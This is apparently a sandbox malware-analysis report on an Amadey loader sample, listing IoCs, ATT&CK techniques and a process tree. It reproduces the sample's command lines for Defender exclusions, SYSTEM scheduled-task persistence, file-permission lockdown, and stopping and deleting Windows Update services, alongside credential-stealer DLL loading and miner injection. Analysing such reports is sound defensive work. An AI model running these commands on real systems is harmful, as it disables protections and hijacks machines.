amadey | 2e09674fc46e09a14bcfc5e3078de72c91c17d6fd3aac5146677cbe94a784d24

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	birge.exe

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral2/memory/604-266-0x00007FF6E28E0000-0x00007FF6E30D4000-memory.dmp	xmrig
behavioral2/memory/604-268-0x00007FF6E28E0000-0x00007FF6E30D4000-memory.dmp	xmrig

Downloads MZ/PE file

Executes dropped EXE 13 IoCs

pid	Process
4632	Player3.exe
5104	pb1111.exe
4588	slwang.exe
1872	birge.exe
3708	nbveek.exe
2604	slwang.exe
4852	pb1111.exe
3792	random.exe
3560	random.exe
2460	XandETC.exe
4356	nbveek.exe
2788	updater.exe
3204	nbveek.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/604-266-0x00007FF6E28E0000-0x00007FF6E30D4000-memory.dmp	upx
behavioral2/memory/604-268-0x00007FF6E28E0000-0x00007FF6E30D4000-memory.dmp	upx

VMProtect packed file 6 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

resource	yara_rule
behavioral2/files/0x0006000000022f71-138.dat	vmprotect
behavioral2/files/0x0006000000022f71-137.dat	vmprotect
behavioral2/memory/5104-144-0x0000000140000000-0x0000000140618000-memory.dmp	vmprotect
behavioral2/files/0x0006000000022f7a-172.dat	vmprotect
behavioral2/files/0x0006000000022f7a-171.dat	vmprotect
behavioral2/memory/4852-173-0x0000000140000000-0x0000000140618000-memory.dmp	vmprotect

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	birge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	birge.exe

Checks computer location settings 2 TTPs 5 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	Player3.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	slwang.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	nbveek.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	random.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	file.exe

Loads dropped DLL 4 IoCs

pid	Process
3092	rundll32.exe
3616	rundll32.exe
4012	rundll32.exe
2440	rundll32.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	birge.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
1872	birge.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2788 set thread context of 3212	2788	updater.exe	179
PID 2788 set thread context of 604	2788	updater.exe	178

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Notepad\Chrome\updater.exe	XandETC.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe

Launches sc.exe 10 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3720	sc.exe
988	sc.exe
384	sc.exe
4592	sc.exe
3764	sc.exe
4364	sc.exe
3096	sc.exe
4972	sc.exe
4492	sc.exe
840	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 3 IoCs

pid	pid_target	Process	procid_target
3132	3092	WerFault.exe	99
1404	3616	WerFault.exe	113
2252	2440	WerFault.exe	121

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
216	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT	conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	12	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	40	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1872	birge.exe
1872	birge.exe
1872	birge.exe
1872	birge.exe
1872	birge.exe
1872	birge.exe
2460	XandETC.exe
2460	XandETC.exe
1996	powershell.exe
1996	powershell.exe
2460	XandETC.exe
2460	XandETC.exe
2460	XandETC.exe
2460	XandETC.exe
2460	XandETC.exe
2460	XandETC.exe
2636	powershell.exe
2636	powershell.exe
2460	XandETC.exe
2460	XandETC.exe
4476	powershell.exe
4476	powershell.exe
2788	updater.exe
2788	updater.exe
1136	powershell.exe
1136	powershell.exe
2788	updater.exe
2788	updater.exe
2788	updater.exe
2788	updater.exe
2788	updater.exe
2788	updater.exe
4844	powershell.exe
4844	powershell.exe
2788	updater.exe
2788	updater.exe
2788	updater.exe
2788	updater.exe
3212	conhost.exe
3212	conhost.exe
2788	updater.exe
2788	updater.exe
604	conhost.exe
604	conhost.exe
604	conhost.exe
604	conhost.exe
604	conhost.exe
604	conhost.exe
604	conhost.exe
604	conhost.exe
604	conhost.exe
604	conhost.exe
604	conhost.exe
604	conhost.exe
604	conhost.exe
604	conhost.exe
604	conhost.exe
604	conhost.exe
604	conhost.exe
604	conhost.exe
604	conhost.exe
604	conhost.exe
604	conhost.exe
604	conhost.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
664	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1996	powershell.exe
Token: SeShutdownPrivilege	932	powercfg.exe
Token: SeCreatePagefilePrivilege	932	powercfg.exe
Token: SeDebugPrivilege	2636	powershell.exe
Token: SeShutdownPrivilege	1992	powercfg.exe
Token: SeCreatePagefilePrivilege	1992	powercfg.exe
Token: SeShutdownPrivilege	5092	powercfg.exe
Token: SeCreatePagefilePrivilege	5092	powercfg.exe
Token: SeShutdownPrivilege	1016	powercfg.exe
Token: SeCreatePagefilePrivilege	1016	powercfg.exe
Token: SeIncreaseQuotaPrivilege	2636	powershell.exe
Token: SeSecurityPrivilege	2636	powershell.exe
Token: SeTakeOwnershipPrivilege	2636	powershell.exe
Token: SeLoadDriverPrivilege	2636	powershell.exe
Token: SeSystemProfilePrivilege	2636	powershell.exe
Token: SeSystemtimePrivilege	2636	powershell.exe
Token: SeProfSingleProcessPrivilege	2636	powershell.exe
Token: SeIncBasePriorityPrivilege	2636	powershell.exe
Token: SeCreatePagefilePrivilege	2636	powershell.exe
Token: SeBackupPrivilege	2636	powershell.exe
Token: SeRestorePrivilege	2636	powershell.exe
Token: SeShutdownPrivilege	2636	powershell.exe
Token: SeDebugPrivilege	2636	powershell.exe
Token: SeSystemEnvironmentPrivilege	2636	powershell.exe
Token: SeRemoteShutdownPrivilege	2636	powershell.exe
Token: SeUndockPrivilege	2636	powershell.exe
Token: SeManageVolumePrivilege	2636	powershell.exe
Token: 33	2636	powershell.exe
Token: 34	2636	powershell.exe
Token: 35	2636	powershell.exe
Token: 36	2636	powershell.exe
Token: SeIncreaseQuotaPrivilege	2636	powershell.exe
Token: SeSecurityPrivilege	2636	powershell.exe
Token: SeTakeOwnershipPrivilege	2636	powershell.exe
Token: SeLoadDriverPrivilege	2636	powershell.exe
Token: SeSystemProfilePrivilege	2636	powershell.exe
Token: SeSystemtimePrivilege	2636	powershell.exe
Token: SeProfSingleProcessPrivilege	2636	powershell.exe
Token: SeIncBasePriorityPrivilege	2636	powershell.exe
Token: SeCreatePagefilePrivilege	2636	powershell.exe
Token: SeBackupPrivilege	2636	powershell.exe
Token: SeRestorePrivilege	2636	powershell.exe
Token: SeShutdownPrivilege	2636	powershell.exe
Token: SeDebugPrivilege	2636	powershell.exe
Token: SeSystemEnvironmentPrivilege	2636	powershell.exe
Token: SeRemoteShutdownPrivilege	2636	powershell.exe
Token: SeUndockPrivilege	2636	powershell.exe
Token: SeManageVolumePrivilege	2636	powershell.exe
Token: 33	2636	powershell.exe
Token: 34	2636	powershell.exe
Token: 35	2636	powershell.exe
Token: 36	2636	powershell.exe
Token: SeIncreaseQuotaPrivilege	2636	powershell.exe
Token: SeSecurityPrivilege	2636	powershell.exe
Token: SeTakeOwnershipPrivilege	2636	powershell.exe
Token: SeLoadDriverPrivilege	2636	powershell.exe
Token: SeSystemProfilePrivilege	2636	powershell.exe
Token: SeSystemtimePrivilege	2636	powershell.exe
Token: SeProfSingleProcessPrivilege	2636	powershell.exe
Token: SeIncBasePriorityPrivilege	2636	powershell.exe
Token: SeCreatePagefilePrivilege	2636	powershell.exe
Token: SeBackupPrivilege	2636	powershell.exe
Token: SeRestorePrivilege	2636	powershell.exe
Token: SeShutdownPrivilege	2636	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2440 wrote to memory of 4632	2440	file.exe	79
PID 2440 wrote to memory of 4632	2440	file.exe	79
PID 2440 wrote to memory of 4632	2440	file.exe	79
PID 2440 wrote to memory of 5104	2440	file.exe	80
PID 2440 wrote to memory of 5104	2440	file.exe	80
PID 2440 wrote to memory of 4588	2440	file.exe	81
PID 2440 wrote to memory of 4588	2440	file.exe	81
PID 2440 wrote to memory of 4588	2440	file.exe	81
PID 2440 wrote to memory of 1872	2440	file.exe	83
PID 2440 wrote to memory of 1872	2440	file.exe	83
PID 2440 wrote to memory of 1872	2440	file.exe	83
PID 4632 wrote to memory of 3708	4632	Player3.exe	84
PID 4632 wrote to memory of 3708	4632	Player3.exe	84
PID 4632 wrote to memory of 3708	4632	Player3.exe	84
PID 4588 wrote to memory of 2604	4588	slwang.exe	85
PID 4588 wrote to memory of 2604	4588	slwang.exe	85
PID 4588 wrote to memory of 2604	4588	slwang.exe	85
PID 3708 wrote to memory of 216	3708	nbveek.exe	87
PID 3708 wrote to memory of 216	3708	nbveek.exe	87
PID 3708 wrote to memory of 216	3708	nbveek.exe	87
PID 3708 wrote to memory of 4024	3708	nbveek.exe	89
PID 3708 wrote to memory of 4024	3708	nbveek.exe	89
PID 3708 wrote to memory of 4024	3708	nbveek.exe	89
PID 4024 wrote to memory of 2268	4024	cmd.exe	91
PID 4024 wrote to memory of 2268	4024	cmd.exe	91
PID 4024 wrote to memory of 2268	4024	cmd.exe	91
PID 4024 wrote to memory of 1076	4024	cmd.exe	92
PID 4024 wrote to memory of 1076	4024	cmd.exe	92
PID 4024 wrote to memory of 1076	4024	cmd.exe	92
PID 4024 wrote to memory of 1280	4024	cmd.exe	93
PID 4024 wrote to memory of 1280	4024	cmd.exe	93
PID 4024 wrote to memory of 1280	4024	cmd.exe	93
PID 4024 wrote to memory of 4788	4024	cmd.exe	94
PID 4024 wrote to memory of 4788	4024	cmd.exe	94
PID 4024 wrote to memory of 4788	4024	cmd.exe	94
PID 4024 wrote to memory of 1692	4024	cmd.exe	95
PID 4024 wrote to memory of 1692	4024	cmd.exe	95
PID 4024 wrote to memory of 1692	4024	cmd.exe	95
PID 4024 wrote to memory of 2068	4024	cmd.exe	96
PID 4024 wrote to memory of 2068	4024	cmd.exe	96
PID 4024 wrote to memory of 2068	4024	cmd.exe	96
PID 3708 wrote to memory of 4852	3708	nbveek.exe	97
PID 3708 wrote to memory of 4852	3708	nbveek.exe	97
PID 2064 wrote to memory of 3092	2064	rundll32.exe	99
PID 2064 wrote to memory of 3092	2064	rundll32.exe	99
PID 2064 wrote to memory of 3092	2064	rundll32.exe	99
PID 3708 wrote to memory of 3792	3708	nbveek.exe	106
PID 3708 wrote to memory of 3792	3708	nbveek.exe	106
PID 3708 wrote to memory of 3792	3708	nbveek.exe	106
PID 3792 wrote to memory of 3560	3792	random.exe	108
PID 3792 wrote to memory of 3560	3792	random.exe	108
PID 3792 wrote to memory of 3560	3792	random.exe	108
PID 3708 wrote to memory of 2460	3708	nbveek.exe	110
PID 3708 wrote to memory of 2460	3708	nbveek.exe	110
PID 388 wrote to memory of 3616	388	rundll32.exe	113
PID 388 wrote to memory of 3616	388	rundll32.exe	113
PID 388 wrote to memory of 3616	388	rundll32.exe	113
PID 3708 wrote to memory of 4012	3708	nbveek.exe	120
PID 3708 wrote to memory of 4012	3708	nbveek.exe	120
PID 3708 wrote to memory of 4012	3708	nbveek.exe	120
PID 4012 wrote to memory of 2440	4012	rundll32.exe	121
PID 4012 wrote to memory of 2440	4012	rundll32.exe	121
PID 1008 wrote to memory of 3764	1008	cmd.exe	133
PID 1008 wrote to memory of 3764	1008	cmd.exe	133

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3052
- C:\Users\Admin\AppData\Local\Temp\file.exe
  "C:\Users\Admin\AppData\Local\Temp\file.exe"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:2440
- - C:\Users\Admin\AppData\Local\Temp\Player3.exe
    "C:\Users\Admin\AppData\Local\Temp\Player3.exe"
    3⤵
    - Executes dropped EXE
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:4632
  - - C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
      "C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe"
      4⤵
      Executes dropped EXE
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:3708
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN nbveek.exe /TR "C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe" /F
        5⤵
        Creates scheduled task(s)
        
        PID:216
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "nbveek.exe" /P "Admin:N"&&CACLS "nbveek.exe" /P "Admin:R" /E&&echo Y|CACLS "..\16de06bfb4" /P "Admin:N"&&CACLS "..\16de06bfb4" /P "Admin:R" /E&&Exit
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4024
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        6⤵
        
        PID:2268
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "nbveek.exe" /P "Admin:N"
        6⤵
        
        PID:1076
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "nbveek.exe" /P "Admin:R" /E
        6⤵
        
        PID:1280
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        6⤵
        
        PID:4788
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\16de06bfb4" /P "Admin:N"
        6⤵
        
        PID:1692
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\16de06bfb4" /P "Admin:R" /E
        6⤵
        
        PID:2068
    - - C:\Users\Admin\AppData\Local\Temp\1000069001\pb1111.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000069001\pb1111.exe"
        5⤵
        Executes dropped EXE
        
        PID:4852
    - - C:\Users\Admin\AppData\Local\Temp\1000070001\random.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000070001\random.exe"
        5⤵
        Executes dropped EXE
        Checks computer location settings
        Suspicious use of WriteProcessMemory
        
        PID:3792
      - C:\Users\Admin\AppData\Local\Temp\1000070001\random.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000070001\random.exe" -h
        6⤵
        Executes dropped EXE
        
        PID:3560
    - - C:\Users\Admin\AppData\Local\Temp\1000072001\XandETC.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000072001\XandETC.exe"
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Drops file in Program Files directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:2460
    - - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\cred64.dll, Main
        5⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:4012
      - C:\Windows\system32\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\cred64.dll, Main
        6⤵
        Loads dropped DLL
        
        PID:2440
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 2440 -s 692
        7⤵
        Program crash
        
        PID:2252
- - C:\Users\Admin\AppData\Local\Temp\pb1111.exe
    "C:\Users\Admin\AppData\Local\Temp\pb1111.exe"
    3⤵
    - Executes dropped EXE
    PID:5104
- - C:\Users\Admin\AppData\Local\Temp\slwang.exe
    "C:\Users\Admin\AppData\Local\Temp\slwang.exe"
    3⤵
    - Executes dropped EXE
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:4588
  - - C:\Users\Admin\AppData\Local\Temp\slwang.exe
      "C:\Users\Admin\AppData\Local\Temp\slwang.exe" -h
      4⤵
      Executes dropped EXE
      PID:2604
- - C:\Users\Admin\AppData\Local\Temp\birge.exe
    "C:\Users\Admin\AppData\Local\Temp\birge.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Executes dropped EXE
    - Checks BIOS information in registry
    - Checks whether UAC is enabled
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious behavior: EnumeratesProcesses
    PID:1872
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1996
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2636
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:220
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:932
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1992
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5092
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1016
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1008
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:3764
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:4492
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:840
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:4364
- - C:\Windows\System32\reg.exe
